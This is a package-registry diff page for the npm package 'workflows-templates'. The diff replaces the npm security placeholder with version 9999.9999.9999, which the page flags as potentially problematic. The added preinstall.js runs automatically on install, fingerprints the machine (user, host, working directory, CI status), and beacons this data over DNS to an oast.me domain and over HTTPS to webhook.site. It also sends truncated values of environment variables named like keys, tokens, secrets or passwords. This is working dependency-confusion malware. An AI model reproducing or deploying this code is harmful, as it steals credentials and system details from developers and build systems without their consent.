workflows-templates 0.0.1-security → 9999.9999.9999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of workflows-templates might be problematic. Click here for more details.
- package/package.json +9 -3
- package/preinstall.js +73 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "workflows-templates",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "9999.9999.9999",
|
|
4
|
+
"description": "Advanced Dependency Confusion RCE Probe",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "worldclass-research",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
|
12
|
+
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const { exec } = require('child_process');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
|
|
7
|
+
const MAX_LABEL_LENGTH = 63;
|
|
8
|
+
const BASE_DOMAIN = 'd1hud44gtqkvs620p660y48rtkotkghqj.oast.me';
|
|
9
|
+
|
|
10
|
+
// === RFC-1035 safe encoder (hex chunks)
|
|
11
|
+
function encodeChunks(str) {
|
|
12
|
+
const hex = Buffer.from(str).toString('hex').toLowerCase();
|
|
13
|
+
const chunks = [];
|
|
14
|
+
for (let i = 0; i < hex.length; i += MAX_LABEL_LENGTH) {
|
|
15
|
+
chunks.push(hex.slice(i, i + MAX_LABEL_LENGTH));
|
|
16
|
+
}
|
|
17
|
+
return chunks;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// === Machine fingerprint
|
|
21
|
+
const uname = os.userInfo().username || 'nouser';
|
|
22
|
+
const host = os.hostname() || 'nohost';
|
|
23
|
+
const cwd = process.cwd() || 'nocwd';
|
|
24
|
+
const platform = os.platform();
|
|
25
|
+
const arch = os.arch();
|
|
26
|
+
const isCI = !!process.env.CI || !!process.env.GITHUB_ACTIONS || !!process.env.BUILD_ID || !!process.env.JENKINS_URL;
|
|
27
|
+
const timestamp = Date.now().toString(36);
|
|
28
|
+
|
|
29
|
+
// === Encode labels
|
|
30
|
+
const labels = [
|
|
31
|
+
...encodeChunks(uname),
|
|
32
|
+
...encodeChunks(host),
|
|
33
|
+
...encodeChunks(cwd),
|
|
34
|
+
platform,
|
|
35
|
+
arch,
|
|
36
|
+
isCI ? 'ci' : 'local',
|
|
37
|
+
timestamp,
|
|
38
|
+
BASE_DOMAIN
|
|
39
|
+
];
|
|
40
|
+
|
|
41
|
+
// === DNS query beacon
|
|
42
|
+
let domain = labels.join('.');
|
|
43
|
+
if (domain.length > 253) {
|
|
44
|
+
domain = domain.slice(0, 253); // DNS limit
|
|
45
|
+
}
|
|
46
|
+
dns.resolve(domain, () => {}); // Fire and forget
|
|
47
|
+
|
|
48
|
+
// === HTTP fallback exfil (stealthy POST)
|
|
49
|
+
function beaconHTTP(payload) {
|
|
50
|
+
const data = JSON.stringify(payload);
|
|
51
|
+
const req = https.request({
|
|
52
|
+
hostname: 'webhook.site', // Optional: replace with your endpoint
|
|
53
|
+
path: '/your-id', // Example fallback path
|
|
54
|
+
method: 'POST',
|
|
55
|
+
headers: { 'Content-Type': 'application/json' }
|
|
56
|
+
}, () => {});
|
|
57
|
+
req.on('error', () => {});
|
|
58
|
+
req.write(data);
|
|
59
|
+
req.end();
|
|
60
|
+
}
|
|
61
|
+
beaconHTTP({ uname, host, cwd, platform, arch, isCI, timestamp });
|
|
62
|
+
|
|
63
|
+
// === Optional secrets exfil (top env vars, partially masked)
|
|
64
|
+
try {
|
|
65
|
+
const envDump = Object.entries(process.env)
|
|
66
|
+
.filter(([k]) => /key|token|secret|pass/i.test(k))
|
|
67
|
+
.slice(0, 5)
|
|
68
|
+
.reduce((acc, [k, v]) => {
|
|
69
|
+
acc[k] = v.length > 10 ? v.slice(0, 10) + '...' : v;
|
|
70
|
+
return acc;
|
|
71
|
+
}, {});
|
|
72
|
+
beaconHTTP({ env: envDump });
|
|
73
|
+
} catch (e) {}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=workflows-templates for more information.
|